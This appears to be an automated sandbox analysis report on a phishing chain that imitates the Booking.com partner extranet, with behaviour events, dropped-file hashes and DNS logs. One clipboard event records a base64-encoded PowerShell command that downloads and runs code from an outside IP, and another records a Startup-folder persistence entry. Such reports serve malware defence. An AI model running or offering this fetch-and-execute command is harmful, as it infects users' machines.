Excluded IPs from analysis (whitelisted): 23.79.17.61, 199.232.210.172, 172.253.124.139, 172.253.124.113, 172.253.124.101, 172.253.124.100, 172.253.124.138, 172.253.124.102, 64.233.185.94, 74.125.138.84, 108.177.122.101, 108.177.122.138, 108.177.122.100, 108.177.122.102, 108.177.122.139, 108.177.122.113, 173.194.219.102, 173.194.219.138, 173.194.219.139, 173.194.219.113, 173.194.219.100, 173.194.219.101, 20.12.23.50, 13.85.23.206, 172.217.215.94, 142.250.105.94, 142.250.9.100, 142.250.9.113, 142.250.9.102, 142.250.9.139, 142.250.9.101, 142.250.9.138, 74.125.138.100, 74.125.138.139, 74.125.138.138, 74.125.138.102, 74.125.138.101, 74.125.138.113, 74.125.21.138, 74.125.21.139, 74.125.21.101, 74.125.21.113, 74.125.21.102, 74.125.21.100, 74.125.136.138, 74.125.136.113, 74.125.136.101, 74.125.136.102, 74.125.136.100, 74.125.136.139, 34.104.35.123, 142.250.9.84, 150.171.28.254, 150.171.31.254
Excluded domains from analysis (whitelisted): ev2-ring.msedge.net, fs.microsoft.com, accounts.google.com, ctldl.windowsupdate.com.delivery.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, e16604.dscf.akamaiedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ax-ring.msedge.net, clients2.google.com, redirector.gvt1.com, edgedl.me.gvt1.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://myidverify.s3.us-east-1.amazonaws.com/redirect.html

Simulations

Behavior and APIs

Time	Type	Description
07:24:41	API Interceptor	68x Sleep call for process: powershell.exe modified
07:25:01	API Interceptor	1x Sleep call for process: MSBuild.exe modified
13:24:40	Clipboard	Run: cmd /c "powershell -e aQBlAHgAIAAoAGkAdwByACAAIgBoAHQAdABwADoALwAvADkAMgAuADIANQA1AC4AOAA1AC4AMgAvAGYAcgBlAHMAaAAuAGgAdABtAGwAIgApAC4AQwBvAG4AdABlAG4AdAA="
13:25:02	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.577900668510388
Encrypted:	false
SSDEEP:	6:kK7g8M5QRnSN+SkQlPlEGYRMY9z+4KlDA3RUeqpGVuys1:DgCZkPlE99SNxAhUeq8S
MD5:	D4D4E844FE9F98ADDF39E69B54AFCC6D
SHA1:	D52ED0F71FC87D083B3BEA877F9F58B0C17D4B18
SHA-256:	31070AE3C0ADD789FA331113C28701D1F95492CDD4A00AD35544452B8B946D5F
SHA-512:	12E2AF7F3689AE8D6B9D7D27CA4603BC1296F6708627DCADBB82D08A36311A8C1F6CF976E4190416F88D06F5306341598200CE31E8F78756E8B86A7E6960A14D
Malicious:	false
Reputation:	low
Preview:	p...... ........'N.[....(...............................................!.Aj... ..................(....c*.....Y...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".6.4.2.7.f.6.c.2.b.7.8.7.d.b.1.:.0."...

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	5829
Entropy (8bit):	4.901113710259376
Encrypted:	false
SSDEEP:	96:ZCJ2Woe5H2k6Lm5emmXIGLgyg12jDs+un/iQLEYFjDaeWJ6KGcmXlQ9smpFRLcUn:Uxoe5HVsm5emdQgkjDt4iWN3yBGHVQ9v
MD5:	7827E04B3ECD71FB3BD7BEEE4CA52CE8
SHA1:	22813AF893013D1CCCACC305523301BB90FF88D9
SHA-256:	5D66D4CA13B4AF3B23357EB9BC21694E7EED4485EA8D2B8C653BEF3A8E5D0601
SHA-512:	D5F6604E49B7B31C2D1DA5E59B676C0E0F37710F4867F232DF0AA9A1EE170B399472CA1DF0BD21DF702A1B5005921D35A8E6858432B00619E65D0648C74C096B
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (521)
Category:	downloaded
Size (bytes):	1251
Entropy (8bit):	5.433406739187698
Encrypted:	false
SSDEEP:	24:md7pIgWcbMdgnMOOeQSfmFtHXRWYxRWZgRK+uKF69FxPg6F/ysbVFyIF/IFKe+C+:a7phWztUZcVwYxwTlLxg6FKWrSuCMrlV
MD5:	0C131DE2A0D8F1BA69EAB7F6866C84DD
SHA1:	362DB4E022D246B6A86C1A1C54E553C6D5F04ED6
SHA-256:	081AD4206BFEB1950C8382B5BC32AAC31C4698598563D87080EE67A8FC5318D0
SHA-512:	A8E0ADF432B95A438CA864D087830C697512675D2CA6E8D29225BBB36B8126F0B32E74CA264F40D0EEA34740D0618921E2B169857368DD1D725946AC55DECF73
Malicious:	false
Reputation:	low
URL:	https://munchkin.marketo.net/munchkin.js
Preview:	/. Copyright (c) 2007-2023, Marketo, Inc. All rights reserved.. * See https://developers.marketo.com/MunchkinLicense.pdf for license terms. * Marketo marketing automation web activity tracking script. * Version: prod r946. */. (function(b){if(!b.Munchkin){var c=b.document,e=[],k,l={fallback:"164"},g=[],m=function(){if(!k){for(;0<e.length;){var f=e.shift();b.MunchkinTracker[f[0]].apply(b.MunchkinTracker,f[1])}k=!0}},n=function(f){var a=c.createElement("script"),b=c.getElementsByTagName("base")[0]\|\|c.getElementsByTagName("script")[0];a.type="text/javascript";a.async=!0;a.src=f;a.onreadystatechange=function(){"complete"!==this.readyState&&"loaded"!==this.readyState\|\|m()};a.onload=m;b.parentNode.insertBefore(a,b)},h={CLICK_LINK:"CLICK_LINK",.VISIT_WEB_PAGE:"visitWebPage",init:function(b){var a;a=l[b];if(!a&&0<g.length){a=b;var c=0,d;if(0!==a.length)for(d=0;d<a.length;d+=1)c+=a.charCodeAt(d);a=g[c%g.length]}a\|\|(a=l.fallback);e.push(["init",arguments]);"150"===a?n("//munchkin-cdn.marketo.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2025 13:24:13.183790922 CEST	60243	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:13.290301085 CEST	53	60243	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:13.904093027 CEST	53	55488	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:14.005809069 CEST	53	57863	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:14.740498066 CEST	53	49790	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:18.386240959 CEST	58425	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:18.386451006 CEST	53391	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:18.493144989 CEST	53	58425	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:18.493746042 CEST	53	53391	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:18.957084894 CEST	52532	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:18.957452059 CEST	50411	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:19.066327095 CEST	53	50411	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:19.072470903 CEST	53	52532	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:19.886724949 CEST	63330	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:19.887183905 CEST	55067	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:20.028821945 CEST	53	63330	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:20.040508986 CEST	53	55067	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:21.774379015 CEST	55756	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:21.774691105 CEST	63158	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:21.921035051 CEST	53	63158	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:21.926255941 CEST	53	55756	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:23.065850973 CEST	63495	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:23.066200018 CEST	53877	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:23.175292969 CEST	53	53877	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:23.175451994 CEST	53	63495	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:24.024027109 CEST	51349	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:24.024454117 CEST	49949	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:24.130196095 CEST	53	51349	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:24.131109953 CEST	53	49949	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:26.331119061 CEST	51904	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:26.331283092 CEST	63743	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:26.439084053 CEST	53	51904	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:26.496455908 CEST	53	63743	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:26.500622988 CEST	53	49296	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:26.645555973 CEST	58283	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:26.645719051 CEST	51548	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:26.752285004 CEST	53	58283	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:26.752351999 CEST	53	51548	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:27.069796085 CEST	53	53027	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:27.741898060 CEST	58870	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:27.742062092 CEST	58007	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:27.849879026 CEST	53	58007	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:27.891213894 CEST	53	58870	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:29.117948055 CEST	51835	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:29.118119001 CEST	62230	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:29.257296085 CEST	53	51835	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:29.257805109 CEST	53	62230	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:29.370872974 CEST	52465	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:29.506427050 CEST	53	52465	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:30.551038980 CEST	62616	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:30.551522017 CEST	57360	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:30.691243887 CEST	53	57360	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:31.572612047 CEST	51317	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:31.698530912 CEST	53	51317	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:31.861933947 CEST	53	52734	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:32.201154947 CEST	50762	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:32.201529980 CEST	54953	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:32.307709932 CEST	53	54953	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:32.308042049 CEST	53	50762	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:33.620898008 CEST	55379	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:33.621305943 CEST	60899	53	192.168.2.5	1.1.1.1
Apr 17, 2025 13:24:33.727488041 CEST	53	55379	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:33.727902889 CEST	53	60899	1.1.1.1	192.168.2.5
Apr 17, 2025 13:24:50.898788929 CEST	53	64028	1.1.1.1	192.168.2.5
Apr 17, 2025 13:25:10.532696009 CEST	138	138	192.168.2.5	192.168.2.255
Apr 17, 2025 13:25:13.333488941 CEST	53	51812	1.1.1.1	192.168.2.5
Apr 17, 2025 13:25:13.859529972 CEST	53	63367	1.1.1.1	192.168.2.5
Apr 17, 2025 13:25:14.741899014 CEST	53	55484	1.1.1.1	192.168.2.5
Apr 17, 2025 13:25:16.612078905 CEST	53	60660	1.1.1.1	192.168.2.5

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 17, 2025 13:24:12.138199091 CEST	1.1.1.1	192.168.2.5	0x6f11	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:12.138199091 CEST	1.1.1.1	192.168.2.5	0x6f11	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:13.290301085 CEST	1.1.1.1	192.168.2.5	0x10e6	No error (0)	c.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:13.290301085 CEST	1.1.1.1	192.168.2.5	0x10e6	No error (0)	pki-goog.l.google.com		142.250.9.94	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:18.493144989 CEST	1.1.1.1	192.168.2.5	0xcc60	No error (0)	www.google.com		142.250.9.106	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:18.493144989 CEST	1.1.1.1	192.168.2.5	0xcc60	No error (0)	www.google.com		142.250.9.147	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:18.493144989 CEST	1.1.1.1	192.168.2.5	0xcc60	No error (0)	www.google.com		142.250.9.103	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:18.493144989 CEST	1.1.1.1	192.168.2.5	0xcc60	No error (0)	www.google.com		142.250.9.104	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:18.493144989 CEST	1.1.1.1	192.168.2.5	0xcc60	No error (0)	www.google.com		142.250.9.105	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:18.493144989 CEST	1.1.1.1	192.168.2.5	0xcc60	No error (0)	www.google.com		142.250.9.99	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:18.493746042 CEST	1.1.1.1	192.168.2.5	0xf260	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 17, 2025 13:24:19.066327095 CEST	1.1.1.1	192.168.2.5	0x693e	No error (0)	myidverify.s3.us-east-1.amazonaws.com	s3-r-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:19.072470903 CEST	1.1.1.1	192.168.2.5	0x6aaa	No error (0)	myidverify.s3.us-east-1.amazonaws.com	s3-r-w.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:19.072470903 CEST	1.1.1.1	192.168.2.5	0x6aaa	No error (0)	s3-r-w.us-east-1.amazonaws.com		52.216.210.66	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:19.072470903 CEST	1.1.1.1	192.168.2.5	0x6aaa	No error (0)	s3-r-w.us-east-1.amazonaws.com		52.217.205.202	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:19.072470903 CEST	1.1.1.1	192.168.2.5	0x6aaa	No error (0)	s3-r-w.us-east-1.amazonaws.com		52.217.117.146	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:19.072470903 CEST	1.1.1.1	192.168.2.5	0x6aaa	No error (0)	s3-r-w.us-east-1.amazonaws.com		52.217.201.2	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:19.072470903 CEST	1.1.1.1	192.168.2.5	0x6aaa	No error (0)	s3-r-w.us-east-1.amazonaws.com		54.231.160.218	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:19.072470903 CEST	1.1.1.1	192.168.2.5	0x6aaa	No error (0)	s3-r-w.us-east-1.amazonaws.com		3.5.2.22	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:19.072470903 CEST	1.1.1.1	192.168.2.5	0x6aaa	No error (0)	s3-r-w.us-east-1.amazonaws.com		3.5.22.7	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:19.072470903 CEST	1.1.1.1	192.168.2.5	0x6aaa	No error (0)	s3-r-w.us-east-1.amazonaws.com		16.182.68.26	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:20.028821945 CEST	1.1.1.1	192.168.2.5	0x7226	No error (0)	extranetupdate.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:20.028821945 CEST	1.1.1.1	192.168.2.5	0x7226	No error (0)	extranetupdate.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:20.028821945 CEST	1.1.1.1	192.168.2.5	0x7226	No error (0)	extranetupdate.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:20.028821945 CEST	1.1.1.1	192.168.2.5	0x7226	No error (0)	extranetupdate.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:20.028821945 CEST	1.1.1.1	192.168.2.5	0x7226	No error (0)	extranetupdate.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:20.028821945 CEST	1.1.1.1	192.168.2.5	0x7226	No error (0)	extranetupdate.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:20.028821945 CEST	1.1.1.1	192.168.2.5	0x7226	No error (0)	extranetupdate.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:20.040508986 CEST	1.1.1.1	192.168.2.5	0x3252	No error (0)	extranetupdate.com			65	IN (0x0001)	false
Apr 17, 2025 13:24:21.921035051 CEST	1.1.1.1	192.168.2.5	0x8b67	No error (0)	booking.extranetupdate.com			65	IN (0x0001)	false
Apr 17, 2025 13:24:21.926255941 CEST	1.1.1.1	192.168.2.5	0xf223	No error (0)	booking.extranetupdate.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:21.926255941 CEST	1.1.1.1	192.168.2.5	0xf223	No error (0)	booking.extranetupdate.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:21.926255941 CEST	1.1.1.1	192.168.2.5	0xf223	No error (0)	booking.extranetupdate.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:21.926255941 CEST	1.1.1.1	192.168.2.5	0xf223	No error (0)	booking.extranetupdate.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:21.926255941 CEST	1.1.1.1	192.168.2.5	0xf223	No error (0)	booking.extranetupdate.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:21.926255941 CEST	1.1.1.1	192.168.2.5	0xf223	No error (0)	booking.extranetupdate.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:21.926255941 CEST	1.1.1.1	192.168.2.5	0xf223	No error (0)	booking.extranetupdate.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:23.175451994 CEST	1.1.1.1	192.168.2.5	0x3fd5	No error (0)	partner.booking.com		18.155.1.116	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:23.175451994 CEST	1.1.1.1	192.168.2.5	0x3fd5	No error (0)	partner.booking.com		18.155.1.67	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:23.175451994 CEST	1.1.1.1	192.168.2.5	0x3fd5	No error (0)	partner.booking.com		18.155.1.52	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:23.175451994 CEST	1.1.1.1	192.168.2.5	0x3fd5	No error (0)	partner.booking.com		18.155.1.112	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:24.130196095 CEST	1.1.1.1	192.168.2.5	0x945f	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.439084053 CEST	1.1.1.1	192.168.2.5	0xb04d	No error (0)	booking.extranetupdate.com		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.439084053 CEST	1.1.1.1	192.168.2.5	0xb04d	No error (0)	booking.extranetupdate.com		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.439084053 CEST	1.1.1.1	192.168.2.5	0xb04d	No error (0)	booking.extranetupdate.com		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.439084053 CEST	1.1.1.1	192.168.2.5	0xb04d	No error (0)	booking.extranetupdate.com		104.21.32.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.439084053 CEST	1.1.1.1	192.168.2.5	0xb04d	No error (0)	booking.extranetupdate.com		104.21.96.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.439084053 CEST	1.1.1.1	192.168.2.5	0xb04d	No error (0)	booking.extranetupdate.com		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.439084053 CEST	1.1.1.1	192.168.2.5	0xb04d	No error (0)	booking.extranetupdate.com		104.21.80.1	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.496455908 CEST	1.1.1.1	192.168.2.5	0x7de5	No error (0)	booking.extranetupdate.com			65	IN (0x0001)	false
Apr 17, 2025 13:24:26.752285004 CEST	1.1.1.1	192.168.2.5	0x498	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.752285004 CEST	1.1.1.1	192.168.2.5	0x498	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.752285004 CEST	1.1.1.1	192.168.2.5	0x498	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:26.752285004 CEST	1.1.1.1	192.168.2.5	0x498	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:27.849879026 CEST	1.1.1.1	192.168.2.5	0x4c18	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:27.849879026 CEST	1.1.1.1	192.168.2.5	0x4c18	No error (0)	wildcard.marketo.net.edgekey.net	e10776.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:27.891213894 CEST	1.1.1.1	192.168.2.5	0xac76	No error (0)	munchkin.marketo.net	wildcard.marketo.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:27.891213894 CEST	1.1.1.1	192.168.2.5	0xac76	No error (0)	wildcard.marketo.net.edgekey.net	e10776.b.akamaiedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:27.891213894 CEST	1.1.1.1	192.168.2.5	0xac76	No error (0)	e10776.b.akamaiedge.net		104.67.201.252	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:29.257296085 CEST	1.1.1.1	192.168.2.5	0x14a0	No error (0)	261-nrz-371.mktoresp.com	mch-lon-gbr2.mktoresp.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:29.257296085 CEST	1.1.1.1	192.168.2.5	0x14a0	No error (0)	mch-lon-gbr2.mktoresp.com		130.248.246.42	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:29.257805109 CEST	1.1.1.1	192.168.2.5	0x9abd	No error (0)	261-nrz-371.mktoresp.com	mch-lon-gbr2.mktoresp.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:29.506427050 CEST	1.1.1.1	192.168.2.5	0x520e	Name error (3)	c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com	none	none	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:29.633095980 CEST	1.1.1.1	192.168.2.5	0x4032	No error (0)	ax-ring.ax-9999.ax-msedge.net	ax-9999.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:29.633095980 CEST	1.1.1.1	192.168.2.5	0x4032	No error (0)	ax-9999.ax-msedge.net		150.171.28.254	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:29.633095980 CEST	1.1.1.1	192.168.2.5	0x4032	No error (0)	ax-9999.ax-msedge.net		150.171.27.254	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:30.691243887 CEST	1.1.1.1	192.168.2.5	0xbc04	No error (0)	zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:30.691243887 CEST	1.1.1.1	192.168.2.5	0xbc04	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:31.499975920 CEST	1.1.1.1	192.168.2.5	0xccc7	No error (0)	Ev2-ring.Ev2-9999.Ev2-msedge.net	Ev2-9999.Ev2-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:31.499975920 CEST	1.1.1.1	192.168.2.5	0xccc7	No error (0)	Ev2-9999.Ev2-msedge.net		150.171.31.254	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:31.499975920 CEST	1.1.1.1	192.168.2.5	0xccc7	No error (0)	Ev2-9999.Ev2-msedge.net		150.171.64.254	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:31.698530912 CEST	1.1.1.1	192.168.2.5	0x5f3c	No error (0)	zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:31.698530912 CEST	1.1.1.1	192.168.2.5	0x5f3c	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:31.698530912 CEST	1.1.1.1	192.168.2.5	0x5f3c	No error (0)	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		104.17.208.240	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:31.698530912 CEST	1.1.1.1	192.168.2.5	0x5f3c	No error (0)	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		104.17.209.240	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:32.307709932 CEST	1.1.1.1	192.168.2.5	0x3faf	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:32.307709932 CEST	1.1.1.1	192.168.2.5	0x3faf	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:32.308042049 CEST	1.1.1.1	192.168.2.5	0xdfc8	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:32.308042049 CEST	1.1.1.1	192.168.2.5	0xdfc8	No error (0)	siteintercept.qprod2.net	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2025 13:24:32.308042049 CEST	1.1.1.1	192.168.2.5	0xdfc8	No error (0)	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		104.17.209.240	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:32.308042049 CEST	1.1.1.1	192.168.2.5	0xdfc8	No error (0)	prodlb.siteintercept.qualtrics.com.cdn.cloudflare.net		104.17.208.240	A (IP address)	IN (0x0001)	false
Apr 17, 2025 13:24:33.727488041 CEST	1.1.1.1	192.168.2.5	0x51eb	No error (0)	siteintercept.qualtrics.com	siteintercept.qprod2.net		CNAME (Canonical name)	IN (0x0001)	false
